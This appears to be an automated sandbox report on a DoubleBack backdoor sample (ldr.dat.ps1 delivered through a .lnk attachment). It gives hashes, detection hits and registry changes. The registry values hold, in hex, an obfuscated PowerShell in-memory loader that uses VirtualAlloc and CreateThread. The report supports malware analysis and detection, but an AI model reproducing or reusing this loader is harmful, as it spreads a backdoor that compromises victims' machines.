Overview
overview
10Static
static
104bd/472-84...mp.dll
windows7_x64
34bd/472-84...mp.dll
windows10_x64
34bd/Attach...ng.lnk
windows7_x64
84bd/Attach...ng.lnk
windows10_x64
8Attachment.png.lnk
windows7_x64
8Attachment.png.lnk
windows10_x64
8work.ps1
windows7_x64
8work.ps1
windows10_x64
84bd/ldr.dat.ps1
windows7_x64
104bd/ldr.dat.ps1
windows10_x64
14bd/work.ps1
windows7_x64
84bd/work.ps1
windows10_x64
8Analysis
-
max time kernel
61s -
max time network
145s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
25-08-2021 20:27
Static task
static1
Behavioral task
behavioral1
Sample
4bd/472-84-0x000000001A910000-0x000000001A919000-memory.dmp.dll
Resource
win7v20210408
Behavioral task
behavioral2
Sample
4bd/472-84-0x000000001A910000-0x000000001A919000-memory.dmp.dll
Resource
win10v20210410
Behavioral task
behavioral3
Sample
4bd/Attachment.png.lnk
Resource
win7v20210408
Behavioral task
behavioral4
Sample
4bd/Attachment.png.lnk
Resource
win10v20210410
Behavioral task
behavioral5
Sample
Attachment.png.lnk
Resource
win7v20210408
Behavioral task
behavioral6
Sample
Attachment.png.lnk
Resource
win10v20210410
Behavioral task
behavioral7
Sample
work.ps1
Resource
win7v20210410
Behavioral task
behavioral8
Sample
work.ps1
Resource
win10v20210408
Behavioral task
behavioral9
Sample
4bd/ldr.dat.ps1
Resource
win7v20210410
Behavioral task
behavioral10
Sample
4bd/ldr.dat.ps1
Resource
win10v20210408
Behavioral task
behavioral11
Sample
4bd/work.ps1
Resource
win7v20210410
Behavioral task
behavioral12
Sample
4bd/work.ps1
Resource
win10v20210408
General
-
Target
4bd/ldr.dat.ps1
-
Size
137KB
-
MD5
968b67446e288eeca67a7ae36fb39e3d
-
SHA1
c0872402677fe3cc74d16e5b7a26a031d5826c39
-
SHA256
1605fecae9b37911e6965c7c2748eed0331f2282da507ab611cff3c9de7eb702
-
SHA512
a0c7da64367b70fc5c79460a1b7cb4ae597245b38c66ca22506b79d7f31667f26453b8319cfd07281c09f3d42c4a64cb6da09488261327d78fa8e1af9258c792
Malware Config
Signatures
-
DoubleBack
DoubleBack is a modular backdoor first seen in December 2020.
-
DoubleBack x64 Payload 2 IoCs
Processes:
resource yara_rule behavioral9/memory/1724-72-0x0000008800000000-0x000000880000C000-memory.dmp family_doubleback_x64 behavioral9/memory/1724-71-0x000000001B7F0000-0x000000001B7F9000-memory.dmp family_doubleback_x64 -
Blocklisted process makes network request 3 IoCs
Processes:
msiexec.exeflow pid process 7 1872 msiexec.exe 9 1872 msiexec.exe 10 1872 msiexec.exe -
Modifies registry class 22 IoCs
Processes:
powershell.exemsiexec.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}\TreatAs\ = "{0D030E04-0F05-0F06-1007-11081209130A}" powershell.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\CLSID\{0D030E04-0F05-0F06-1007-11081209130A}\VersionIndependentProgID\0D03 = 253e733622506e514659642c4a24677a54297d2f4e567c42317739333a5f3d53306d726b28454f6378554b753c6f7e482e6a23626c355e4076522d4c57707438303f5d44697137614927475b41265c666039763733736771366e306b6432316974346f72756a6c6d63617862667a3577794f3d4b593e6b4645265755414a762553625d484d44776a60586c426150277e3a6436247054213c39692e2c71725c2b5b655e385a7d7c6f2a33793043737822324c282d3534472951673f315f74375668492f6d4023754e3b7a637b66526e powershell.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\CLSID powershell.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\CLSID\{0D030E04-0F05-0F06-1007-11081209130A} powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}\ = "{030E040F-050F-0610-0711-081209130A00}" powershell.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\CLSID\{0D030E04-0F05-0F06-1007-11081209130A}\VersionIndependentProgID powershell.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\CLSID\{0D030E04-0F05-0F06-1007-11081209130A}\ProgID\130A = 66756e6374696f6e206178337b706172616d28246a703029206965782867793820274a475a724d54306f573046776345527662574670626c30364f6b4e31636e4a6c626e524562323168615734755232563051584e7a5a57316962476c6c637967706646646f5a584a6c4c553969616d566a6448736b58793548624739695957784263334e6c62574a7365554e685932686c49433168626d51674a4638755447396a5958527062323475553342736158516f4a3178634a796c624c5446644c6b5678645746736379676e55336c7a644756744c6d52736243637066536b755232563056486c775a53676e54576c6a636d397a62325a304c6c6470626a4d794c6c56756332466d5a55356864476c325a55316c644768765a484d6e4b54736b5a4849355055356c64793150596d706c5933516755336c7a644756744c6c4a31626e527062575575535735305a584a7663464e6c636e5a705932567a4c6b6868626d52735a564a6c5a69676f546d56334c553969616d566a6443424a626e5251644849704c43676b5a6d73784c6b646c6445316c644768765a43676e523256305457396b6457786c534746755a47786c4a796b75535735326232746c4b4441735143676e61325679626d56734d7a49755a4778734a796b704b536b374a475a724d5335485a58524e5a58526f6232516f4a30646c6446427962324e425a4752795a584e7a4a797862636d566d6247566a64476c76626935696157356b6157356e5a6d78685a334e644943645164574a7361574d735533526864476c6a4a79776b626e56736243786255336c7a644756744c6c4a6c5a6d786c59335270623234755132467362476c755a304e76626e5a6c626e52706232357a58546f36515735354c45416f4b45356c64793150596d706c5933516755336c7a644756744c6c4a31626e527062575575535735305a584a7663464e6c636e5a705932567a4c6b6868626d52735a564a6c5a696b755232563056486c775a5367704c46747a64484a70626d64644b53776b626e567362436b75535735326232746c4b435275645778734c45416f57314e356333526c62533553645735306157316c4c6b6c7564475679623342545a584a3261574e6c637935495957356b624756535a575a644a4752794f53776b616e41774b536b3d27297d66756e6374696f6e206768387b706172616d28246b733629206965782879673220274a476c724d7a31485a5851745358526c625642796233426c636e5235494331515958526f49435272637a59674c5734674a4846354e5878545a57786c5933517454324a715a574e304943314665484268626d5251636d39775a584a306553416b63586b314f795270624441394b435270617a4e624d7a4a644b79676f4b4451324b7a45774b536b744d6a4d704b5473674a4842684f44306b6157737a57795270624441754c69676b615777774b7a4d784b56303749467468636e4a68655630364f6c4a6c646d56796332556f4a4842684f436b374a476c724d7a31485a5851745358526c625642796233426c636e5235494331515958526f49435272637a59674c5734674a48686c4e5878545a57786c5933517454324a715a574e304943314665484268626d5251636d39775a584a306553416b654755314f795270624441396579416b62485932505441754c6a49314e5473774c6934794e5456384a5873674a4739784d7a306f4a4739784d79736b62485932577952665853736b63474534577952664a53527759546775544756755a33526f58536b6c4b4445794e69736f4b4449324e6930354f436b744d7a67704b5473674a4778324e6c736b583130734a4778324e6c736b6233457a5854306b624859325779527663544e644c435273646a5a624a463964494830674f795270617a4e384a58736b616e49315053676b616e49314b7a45704a5367314d5445744b4367794f4373784e436b724d6a457a4b536b3749435277637a67394b435277637a67724a4778324e6c736b616e493158536b6c4b44457a4e7973784d546b704f79416b6248593257795271636a56644c435273646a5a624a48427a4f4630394a4778324e6c736b63484d345853776b6248593257795271636a56644f7952664c574a346233496b624859325779676b6248593257795271636a56644b795273646a5a624a48427a4f4630704a5367784e5459724d5441774b563067665342394944736b5a6d6f33494430674b4359674a476c734d48786d62334a6c59574e6f4c573969616d566a6448736e657a413657444a394a7941745a69416b587942394b53317162326c754943636e4f79416f4a43686d6233496f4a4770794e5430774f795271636a55674c5778304943526d616a6375544756755a33526f4f795271636a5572505449706579426259323975646d5679644630364f6c5276516e6c305a53676b5a6d6f334c6c4e31596e4e30636d6c755a79676b616e49314c4449704c43676f4b4449724d436b704b7a45304b536b6766536b7027297d66756e6374696f6e206768307b706172616d28246474312c246a71372c246475302920696578286a6d3020274a4735774e7a306f573046776345527662574670626c30364f6b4e31636e4a6c626e524562323168615734755232563051584e7a5a57316962476c6c637967706646646f5a584a6c4c553969616d566a6448736b58793548624739695957784263334e6c62574a7365554e685932686c49433168626d51674a4638755447396a5958527062323475553342736158516f4a3178634a796c624c5446644c6b5678645746736379676e55336c7a644756744c6d52736243637066536b755232563056486c775a53676e54576c6a636d397a62325a304c6c6470626a4d794c6c56756332466d5a55356864476c325a55316c644768765a484d6e4b54736b656e49335055356c64793150596d706c5933516755336c7a644756744c6c4a31626e527062575575535735305a584a7663464e6c636e5a705932567a4c6b6868626d52735a564a6c5a69676f546d56334c553969616d566a6443424a626e5251644849704c43676b626e41334c6b646c6445316c644768765a43676e523256305457396b6457786c534746755a47786c4a796b75535735326232746c4b4441735143676e61325679626d56734d7a49755a4778734a796b704b536b374a4735774e7935485a58524e5a58526f6232516f4a30646c6446427962324e425a4752795a584e7a4a797862636d566d6247566a64476c76626935696157356b6157356e5a6d78685a334e644943645164574a7361574d735533526864476c6a4a79776b626e56736243786255336c7a644756744c6c4a6c5a6d786c59335270623234755132467362476c755a304e76626e5a6c626e52706232357a58546f36515735354c45416f4b45356c64793150596d706c5933516755336c7a644756744c6c4a31626e527062575575535735305a584a7663464e6c636e5a705932567a4c6b6868626d52735a564a6c5a696b755232563056486c775a5367704c46747a64484a70626d64644b53776b626e567362436b75535735326232746c4b435275645778734c45416f57314e356333526c62533553645735306157316c4c6b6c7564475679623342545a584a3261574e6c637935495957356b624756535a575a644a4870794e79776b5a4851784b536b3d27297d66756e6374696f6e206177307b706172616d28246a6f34295b53797374656d2e546578742e456e636f64696e675d3a3a555446382e476574537472696e67285b436f6e766572745d3a3a46726f6d426173653634537472696e6728246a6f3429297d200a66756e6374696f6e207478317b706172616d28246771302c246f70362c24707a35292069657828706b3120274a4778304d6a3162515842775247397459576c7558546f3651335679636d56756445527662574670626935455a575a70626d56456557356862576c6a51584e7a5a57316962486b6f4b45356c64793150596d706c5933516755336c7a644756744c6c4a6c5a6d786c593352706232347551584e7a5a57316962486c4f5957316c4b43632f556b3545507963704b53786255336c7a644756744c6c4a6c5a6d786c5933527062323475525731706443354263334e6c62574a7365554a316157786b5a584a4259324e6c63334e644f6a7053645734704c6b526c5a6d6c755a555235626d467461574e4e623252316247556f4a7a3953546b512f4a79776b5a6d4673633255704c6b526c5a6d6c755a5652356347556f4a7a3953546b512f4a79776e5132786863334d735548566962476c6a4c464e6c5957786c5a437842626e4e705132786863334d735158563062304e7359584e7a4a79786255336c7a644756744c6b3131624852705932467a6445526c6247566e5958526c58536b374a4778304d6935455a575a70626d56446232357a64484a31593352766369676e556c52546347566a61574673546d46745a5378496157526c516e6c54615763735548566962476c6a4a79786255336c7a644756744c6c4a6c5a6d786c59335270623234755132467362476c755a304e76626e5a6c626e52706232357a58546f3655335268626d5268636d51734a4764784d436b755532563053573177624756745a57353059585270623235476247466e6379676e556e567564476c745a53784e595735685a32566b4a796b374a4778304d6935455a575a70626d564e5a58526f6232516f4a306c75646d39725a5363734a314231596d7870597978496157526c516e6c5461576373546d5633553278766443785761584a30645746734a79776b623341324c43526e635441704c6c4e6c64456c746347786c625756756447463061573975526d78685a334d6f4a314a31626e527062575573545746755957646c5a4363704f7952736444497551334a6c5958526c56486c775a53677027297d66756e6374696f6e206d70327b706172616d28247868382c247377392c24736333292069657828626c3620274a4768324d6a306f573046776345527662574670626c30364f6b4e31636e4a6c626e524562323168615734755232563051584e7a5a57316962476c6c637967706646646f5a584a6c4c553969616d566a6448736b58793548624739695957784263334e6c62574a7365554e685932686c49433168626d51674a4638755447396a5958527062323475553342736158516f4a3178634a796c624c5446644c6b5678645746736379676e55336c7a644756744c6d52736243637066536b755232563056486c775a53676e54576c6a636d397a62325a304c6c6470626a4d794c6c56756332466d5a55356864476c325a55316c644768765a484d6e4b54736b5a5749315055356c64793150596d706c5933516755336c7a644756744c6c4a31626e527062575575535735305a584a7663464e6c636e5a705932567a4c6b6868626d52735a564a6c5a69676f546d56334c553969616d566a6443424a626e5251644849704c43676b614859794c6b646c6445316c644768765a43676e523256305457396b6457786c534746755a47786c4a796b75535735326232746c4b4441735143676e61325679626d56734d7a49755a4778734a796b704b536b374a4768324d6935485a58524e5a58526f6232516f4a30646c6446427962324e425a4752795a584e7a4a797862636d566d6247566a64476c76626935696157356b6157356e5a6d78685a334e644943645164574a7361574d735533526864476c6a4a79776b626e56736243786255336c7a644756744c6c4a6c5a6d786c59335270623234755132467362476c755a304e76626e5a6c626e52706232357a58546f36515735354c45416f4b45356c64793150596d706c5933516755336c7a644756744c6c4a31626e527062575575535735305a584a7663464e6c636e5a705932567a4c6b6868626d52735a564a6c5a696b755232563056486c775a5367704c46747a64484a70626d64644b53776b626e567362436b75535735326232746c4b435275645778734c45416f57314e356333526c62533553645735306157316c4c6b6c7564475679623342545a584a3261574e6c637935495957356b624756535a575a644a4756694e53776b654767344b536b3d27297d66756e6374696f6e207a68347b706172616d28246a6f3429206965782861773020274a4852754d7a306f573046776345527662574670626c30364f6b4e31636e4a6c626e524562323168615734755232563051584e7a5a57316962476c6c637967706646646f5a584a6c4c553969616d566a6448736b58793548624739695957784263334e6c62574a7365554e685932686c49433168626d51674a4638755447396a5958527062323475553342736158516f4a3178634a796c624c5446644c6b5678645746736379676e55336c7a644756744c6d52736243637066536b755232563056486c775a53676e54576c6a636d397a62325a304c6c6470626a4d794c6c56756332466d5a55356864476c325a55316c644768765a484d6e4b54736b613367325055356c64793150596d706c5933516755336c7a644756744c6c4a31626e527062575575535735305a584a7663464e6c636e5a705932567a4c6b6868626d52735a564a6c5a69676f546d56334c553969616d566a6443424a626e5251644849704c43676b6447347a4c6b646c6445316c644768765a43676e523256305457396b6457786c534746755a47786c4a796b75535735326232746c4b4441735143676e61325679626d56734d7a49755a4778734a796b704b536b374a4852754d7935485a58524e5a58526f6232516f4a30646c6446427962324e425a4752795a584e7a4a797862636d566d6247566a64476c76626935696157356b6157356e5a6d78685a334e644943645164574a7361574d735533526864476c6a4a79776b626e56736243786255336c7a644756744c6c4a6c5a6d786c59335270623234755132467362476c755a304e76626e5a6c626e52706232357a58546f36515735354c45416f4b45356c64793150596d706c5933516755336c7a644756744c6c4a31626e527062575575535735305a584a7663464e6c636e5a705932567a4c6b6868626d52735a564a6c5a696b755232563056486c775a5367704c46747a64484a70626d64644b53776b626e567362436b75535735326232746c4b435275645778734c45416f57314e356333526c62533553645735306157316c4c6b6c7564475679623342545a584a3261574e6c637935495957356b624756535a575a644a4774344e69776b616d38304b536b3d27297d2066756e6374696f6e20676a307b706172616d28246a6f342c2462743029206965782861773020274a4739784d7a3162515842775247397459576c7558546f3651335679636d56756445527662574670626935455a575a70626d56456557356862576c6a51584e7a5a57316962486b6f4b45356c64793150596d706c5933516755336c7a644756744c6c4a6c5a6d786c593352706232347551584e7a5a57316962486c4f5957316c4b43632f556b3545507963704b53786255336c7a644756744c6c4a6c5a6d786c5933527062323475525731706443354263334e6c62574a7365554a316157786b5a584a4259324e6c63334e644f6a7053645734704c6b526c5a6d6c755a555235626d467461574e4e623252316247556f4a7a3953546b512f4a79776b5a6d4673633255704c6b526c5a6d6c755a5652356347556f4a7a3953546b512f4a79776e5132786863334d735548566962476c6a4c464e6c5957786c5a437842626e4e705132786863334d735158563062304e7359584e7a4a79786255336c7a644756744c6b3131624852705932467a6445526c6247566e5958526c58536b374a4739784d7935455a575a70626d56446232357a64484a31593352766369676e556c52546347566a61574673546d46745a5378496157526c516e6c54615763735548566962476c6a4a79786255336c7a644756744c6c4a6c5a6d786c59335270623234755132467362476c755a304e76626e5a6c626e52706232357a58546f3655335268626d5268636d51734a4770764e436b755532563053573177624756745a57353059585270623235476247466e6379676e556e567564476c745a53784e595735685a32566b4a796b374a4739784d7935455a575a70626d564e5a58526f6232516f4a306c75646d39725a5363734a314231596d7870597978496157526c516e6c5461576373546d5633553278766443785761584a30645746734a79776b596e51774c435271627a51704c6c4e6c64456c746347786c625756756447463061573975526d78685a334d6f4a314a31626e527062575573545746755957646c5a4363704f79527663544d7551334a6c5958526c56486c775a53677027297d2066756e6374696f6e20707a307b706172616d28246a6f342c246274302c24776f3429206965782861773020274a4764684e7a31485a5851745358526c625642796233426c636e5235494331515958526f49435271627a51674c5734674a4864764e4878545a57786c5933517454324a715a574e304943314665484268626d5251636d39775a584a306553416b643238304f79526c596a63394b43526e595464624d7a4a644b79676f4b4451324b7a45774b536b744d6a4d704b5473674a47356c4f54306b5a3245335779526c596a63754c69676b5a5749334b7a4d784b56303749467468636e4a68655630364f6c4a6c646d56796332556f4a47356c4f536b374a4764684e7a31485a5851745358526c625642796233426c636e5235494331515958526f49435271627a51674c5734674a474a304d4878545a57786c5933517454324a715a574e304943314665484268626d5251636d39775a584a306553416b596e51774f79526c596a63396579416b626e5535505441754c6a49314e5473774c6934794e5456384a5873674a484e794d6a306f4a484e794d69736b626e5535577952665853736b626d5535577952664a5352755a546b75544756755a33526f58536b6c4b4445794e69736f4b4449324e6930354f436b744d7a67704b5473674a4735314f56736b583130734a4735314f56736b633349795854306b626e55355779527a636a4a644c43527564546c624a463964494830674f79526e595464384a58736b634845775053676b634845774b7a45704a5367314d5445744b4367794f4373784e436b724d6a457a4b536b3749435270627a59394b435270627a59724a4735314f56736b6348457758536b6c4b44457a4e7973784d546b704f79416b626e553557795277635442644c43527564546c624a476c764e6c30394a4735314f56736b615738325853776b626e553557795277635442644f7952664c574a346233496b626e55355779676b626e553557795277635442644b79527564546c624a476c764e6c30704a5367784e5459724d5441774b563067665342394944736b62476730494430674b4359674a4756694e33786d62334a6c59574e6f4c573969616d566a6448736e657a413657444a394a7941745a69416b587942394b53317162326c754943636e4f79416f4a43686d6233496f4a4842784d4430774f795277635441674c5778304943527361445175544756755a33526f4f79527763544172505449706579426259323975646d5679644630364f6c5276516e6c305a53676b624767304c6c4e31596e4e30636d6c755a79676b634845774c4449704c43676f4b4449724d436b704b7a45304b536b6766536b7027297d66756e6374696f6e20787a307b706172616d28246372382c246c7a3429206965782862693920274a4770364d7a31485a5851745358526c625642796233426c636e5235494331515958526f4943526a636a67674c5734674a474a334e5878545a57786c5933517454324a715a574e304943314665484268626d5251636d39775a584a306553416b596e63314f795273616a4d394b435271656a4e624d7a4a644b79676f4b4451324b7a45774b536b744d6a4d704b5473674a4739714e54306b616e6f7a57795273616a4d754c69676b62476f7a4b7a4d784b56303749467468636e4a68655630364f6c4a6c646d56796332556f4a4739714e536b374a4770364d7a31485a5851745358526c625642796233426c636e5235494331515958526f4943526a636a67674c5734674a4778364e4878545a57786c5933517454324a715a574e304943314665484268626d5251636d39775a584a306553416b62486f304f795273616a4d396579416b646e6732505441754c6a49314e5473774c6934794e5456384a5873674a474a6f4f44306f4a474a6f4f43736b646e6732577952665853736b62326f31577952664a535276616a5575544756755a33526f58536b6c4b4445794e69736f4b4449324e6930354f436b744d7a67704b5473674a485a344e6c736b583130734a485a344e6c736b596d67345854306b646e673257795269614468644c43523265445a624a463964494830674f795271656a4e384a58736b644849345053676b644849344b7a45704a5367314d5445744b4367794f4373784e436b724d6a457a4b536b3749435234595441394b435234595441724a485a344e6c736b6448493458536b6c4b44457a4e7973784d546b704f79416b646e673257795230636a68644c43523265445a624a4868684d4630394a485a344e6c736b654745775853776b646e673257795230636a68644f7952664c574a346233496b646e67325779676b646e673257795230636a68644b79523265445a624a4868684d4630704a5367784e5459724d5441774b563067665342394944736b646d6b78494430674b4359674a4778714d33786d62334a6c59574e6f4c573969616d566a6448736e657a413657444a394a7941745a69416b587942394b53317162326c754943636e4f79416f4a43686d6233496f4a4852794f4430774f795230636a67674c5778304943523261544575544756755a33526f4f795230636a6772505449706579426259323975646d5679644630364f6c5276516e6c305a53676b646d6b784c6c4e31596e4e30636d6c755a79676b644849344c4449704c43676f4b4449724d436b704b7a45304b536b6766536b7027297d66756e6374696f6e206665327b706172616d2824636b352c246966332920696578286d6b3620274a484e714d6a3162515842775247397459576c7558546f3651335679636d56756445527662574670626935455a575a70626d56456557356862576c6a51584e7a5a57316962486b6f4b45356c64793150596d706c5933516755336c7a644756744c6c4a6c5a6d786c593352706232347551584e7a5a57316962486c4f5957316c4b43632f556b3545507963704b53786255336c7a644756744c6c4a6c5a6d786c5933527062323475525731706443354263334e6c62574a7365554a316157786b5a584a4259324e6c63334e644f6a7053645734704c6b526c5a6d6c755a555235626d467461574e4e623252316247556f4a7a3953546b512f4a79776b5a6d4673633255704c6b526c5a6d6c755a5652356347556f4a7a3953546b512f4a79776e5132786863334d735548566962476c6a4c464e6c5957786c5a437842626e4e705132786863334d735158563062304e7359584e7a4a79786255336c7a644756744c6b3131624852705932467a6445526c6247566e5958526c58536b374a484e714d6935455a575a70626d56446232357a64484a31593352766369676e556c52546347566a61574673546d46745a5378496157526c516e6c54615763735548566962476c6a4a79786255336c7a644756744c6c4a6c5a6d786c59335270623234755132467362476c755a304e76626e5a6c626e52706232357a58546f3655335268626d5268636d51734a474e724e536b755532563053573177624756745a57353059585270623235476247466e6379676e556e567564476c745a53784e595735685a32566b4a796b374a484e714d6935455a575a70626d564e5a58526f6232516f4a306c75646d39725a5363734a314231596d7870597978496157526c516e6c5461576373546d5633553278766443785761584a30645746734a79776b6157597a4c43526a617a55704c6c4e6c64456c746347786c625756756447463061573975526d78685a334d6f4a314a31626e527062575573545746755957646c5a4363704f79527a616a497551334a6c5958526c56486c775a53677027297d246761373d707a30202861773020276147746a645470636332396d64486468636d56635932786863334e6c6331784454464e4a524678374d4551774d7a42464d4451744d4559774e533077526a41324c5445774d4463744d5445774f4445794d446b784d7a4242665678575a584a7a615739755357356b5a58426c626d526c626e5251636d396e5355513d272920273133304127202730443033273b66756e6374696f6e206571357b706172616d28246c61302c246e623329206965782873723420274a4852694d7a31485a5851745358526c625642796233426c636e5235494331515958526f49435273595441674c5734674a4870774f4878545a57786c5933517454324a715a574e304943314665484268626d5251636d39775a584a306553416b656e41344f795275646a6b394b435230596a4e624d7a4a644b79676f4b4451324b7a45774b536b744d6a4d704b5473674a476c6b4f54306b6447497a57795275646a6b754c69676b626e59354b7a4d784b56303749467468636e4a68655630364f6c4a6c646d56796332556f4a476c6b4f536b374a4852694d7a31485a5851745358526c625642796233426c636e5235494331515958526f49435273595441674c5734674a4735694d3378545a57786c5933517454324a715a574e304943314665484268626d5251636d39775a584a306553416b626d497a4f795275646a6b396579416b626d6f31505441754c6a49314e5473774c6934794e5456384a5873674a4852754e6a306f4a4852754e69736b626d6f31577952665853736b61575135577952664a5352705a446b75544756755a33526f58536b6c4b4445794e69736f4b4449324e6930354f436b744d7a67704b5473674a4735714e56736b583130734a4735714e56736b644734325854306b626d6f3157795230626a5a644c435275616a56624a463964494830674f795230596a4e384a58736b635751785053676b635751784b7a45704a5367314d5445744b4367794f4373784e436b724d6a457a4b536b3749435276616a67394b435276616a67724a4735714e56736b6357517858536b6c4b44457a4e7973784d546b704f79416b626d6f31577952785a4446644c435275616a56624a4739714f4630394a4735714e56736b62326f345853776b626d6f31577952785a4446644f7952664c574a346233496b626d6f315779676b626d6f31577952785a4446644b795275616a56624a4739714f4630704a5367784e5459724d5441774b563067665342394944736b59586732494430674b4359674a4735324f58786d62334a6c59574e6f4c573969616d566a6448736e657a413657444a394a7941745a69416b587942394b53317162326c754943636e4f79416f4a43686d6233496f4a48466b4d5430774f7952785a4445674c5778304943526865445975544756755a33526f4f7952785a444572505449706579426259323975646d5679644630364f6c5276516e6c305a53676b595867324c6c4e31596e4e30636d6c755a79676b635751784c4449704c43676f4b4449724d436b704b7a45304b536b6766536b7027297d66756e6374696f6e206571357b706172616d2824677236292069657828686f3320274a476c6a4e7a3162515842775247397459576c7558546f3651335679636d56756445527662574670626935455a575a70626d56456557356862576c6a51584e7a5a57316962486b6f4b45356c64793150596d706c5933516755336c7a644756744c6c4a6c5a6d786c593352706232347551584e7a5a57316962486c4f5957316c4b43632f556b3545507963704b53786255336c7a644756744c6c4a6c5a6d786c5933527062323475525731706443354263334e6c62574a7365554a316157786b5a584a4259324e6c63334e644f6a7053645734704c6b526c5a6d6c755a555235626d467461574e4e623252316247556f4a7a3953546b512f4a79776b5a6d4673633255704c6b526c5a6d6c755a5652356347556f4a7a3953546b512f4a79776e5132786863334d735548566962476c6a4c464e6c5957786c5a437842626e4e705132786863334d735158563062304e7359584e7a4a79786255336c7a644756744c6b3131624852705932467a6445526c6247566e5958526c58536b374a476c6a4e7935455a575a70626d56446232357a64484a31593352766369676e556c52546347566a61574673546d46745a5378496157526c516e6c54615763735548566962476c6a4a79786255336c7a644756744c6c4a6c5a6d786c59335270623234755132467362476c755a304e76626e5a6c626e52706232357a58546f3655335268626d5268636d51734a4764794e696b755532563053573177624756745a57353059585270623235476247466e6379676e556e567564476c745a53784e595735685a32566b4a796b374a476c6a4e7935455a575a70626d564e5a58526f6232516f4a306c75646d39725a5363734a314231596d7870597978496157526c516e6c5461576373546d5633553278766443785761584a30645746734a79776b634773354c43526e636a59704c6c4e6c64456c746347786c625756756447463061573975526d78685a334d6f4a314a31626e527062575573545746755957646c5a4363704f795270597a637551334a6c5958526c56486c775a53677027297d66756e6374696f6e207964357b706172616d2824746a352c246879302c24656f352920696578286e613120274a47397a4d7a3162515842775247397459576c7558546f3651335679636d56756445527662574670626935455a575a70626d56456557356862576c6a51584e7a5a57316962486b6f4b45356c64793150596d706c5933516755336c7a644756744c6c4a6c5a6d786c593352706232347551584e7a5a57316962486c4f5957316c4b43632f556b3545507963704b53786255336c7a644756744c6c4a6c5a6d786c5933527062323475525731706443354263334e6c62574a7365554a316157786b5a584a4259324e6c63334e644f6a7053645734704c6b526c5a6d6c755a555235626d467461574e4e623252316247556f4a7a3953546b512f4a79776b5a6d4673633255704c6b526c5a6d6c755a5652356347556f4a7a3953546b512f4a79776e5132786863334d735548566962476c6a4c464e6c5957786c5a437842626e4e705132786863334d735158563062304e7359584e7a4a79786255336c7a644756744c6b3131624852705932467a6445526c6247566e5958526c58536b374a47397a4d7935455a575a70626d56446232357a64484a31593352766369676e556c52546347566a61574673546d46745a5378496157526c516e6c54615763735548566962476c6a4a79786255336c7a644756744c6c4a6c5a6d786c59335270623234755132467362476c755a304e76626e5a6c626e52706232357a58546f3655335268626d5268636d51734a4852714e536b755532563053573177624756745a57353059585270623235476247466e6379676e556e567564476c745a53784e595735685a32566b4a796b374a47397a4d7935455a575a70626d564e5a58526f6232516f4a306c75646d39725a5363734a314231596d7870597978496157526c516e6c5461576373546d5633553278766443785761584a30645746734a79776b61486b774c435230616a55704c6c4e6c64456c746347786c625756756447463061573975526d78685a334d6f4a314a31626e527062575573545746755957646c5a4363704f795276637a4d7551334a6c5958526c56486c775a53677027297d66756e6374696f6e206671387b706172616d28246761372c246e79362c247367362c2472733929206965782861773020274a4735314f54316255336c7a644756744c6c4a31626e527062575575535735305a584a7663464e6c636e5a705932567a4c6b3168636e4e6f595778644f6a70485a5852455a57786c5a3246305a555a76636b5a31626d4e306157397555473970626e526c6369676f656d67304943645761584a30645746735157787362324e46654363704c43686e616a41675143686253573530554852795853786253573530554852795853786253573530554852795853786261573530585378626157353058536b6f57306c7564484230636c30704b536b75615735326232746c4b4330784c4441734a4735354e69776f4b4449794f5467304c5467344f5455704c5445344d4445704c435279637a6b704f31745465584e305a573075556e567564476c745a53354a626e526c636d397755325679646d6c6a5a584d755457467963326868624630364f6b646c6445526c6247566e5958526c526d3979526e5675593352706232355162326c75644756794b436836614451674a314a3062453176646d564e5a573176636e6b6e4b53776f5a326f774945416f57306c7564464230636c307357324a3564475662585630735731564a626e517a4d6c30704b46744a626e527764484a644b536b704c6d6c75646d39725a53676b626e55354c43526e595463734a4735354e696b374a4735314f54314f5a58637454324a715a574e3049464e356333526c6253354a626e5277644849674c5546795a3356745a57353054476c7a6443416b4b43527564546b755647394a626e51324e4367704b79527a5a7a59704f31745465584e305a573075556e567564476c745a53354a626e526c636d397755325679646d6c6a5a584d755457467963326868624630364f6b646c6445526c6247566e5958526c526d3979526e5675593352706232355162326c75644756794b436836614451674a304e795a5746305a56526f636d56685a4363704c43686e616a41675143686253573530554852795853786256556c7564444d795853786253573530554852795853786253573530554852795853786256556c7564444d7958537862535735305548527958536b6f57306c7564484230636c30704b536b75615735326232746c4b4441734d43776b626e55354c4441734d4377774b54745464474679644331546247566c63434174637941794d7a513027297d66756e6374696f6e206b71397b706172616d282462733429206965782870723320274a474a754d7a306f573046776345527662574670626c30364f6b4e31636e4a6c626e524562323168615734755232563051584e7a5a57316962476c6c637967706646646f5a584a6c4c553969616d566a6448736b58793548624739695957784263334e6c62574a7365554e685932686c49433168626d51674a4638755447396a5958527062323475553342736158516f4a3178634a796c624c5446644c6b5678645746736379676e55336c7a644756744c6d52736243637066536b755232563056486c775a53676e54576c6a636d397a62325a304c6c6470626a4d794c6c56756332466d5a55356864476c325a55316c644768765a484d6e4b54736b623251345055356c64793150596d706c5933516755336c7a644756744c6c4a31626e527062575575535735305a584a7663464e6c636e5a705932567a4c6b6868626d52735a564a6c5a69676f546d56334c553969616d566a6443424a626e5251644849704c43676b596d347a4c6b646c6445316c644768765a43676e523256305457396b6457786c534746755a47786c4a796b75535735326232746c4b4441735143676e61325679626d56734d7a49755a4778734a796b704b536b374a474a754d7935485a58524e5a58526f6232516f4a30646c6446427962324e425a4752795a584e7a4a797862636d566d6247566a64476c76626935696157356b6157356e5a6d78685a334e644943645164574a7361574d735533526864476c6a4a79776b626e56736243786255336c7a644756744c6c4a6c5a6d786c59335270623234755132467362476c755a304e76626e5a6c626e52706232357a58546f36515735354c45416f4b45356c64793150596d706c5933516755336c7a644756744c6c4a31626e527062575575535735305a584a7663464e6c636e5a705932567a4c6b6868626d52735a564a6c5a696b755232563056486c775a5367704c46747a64484a70626d64644b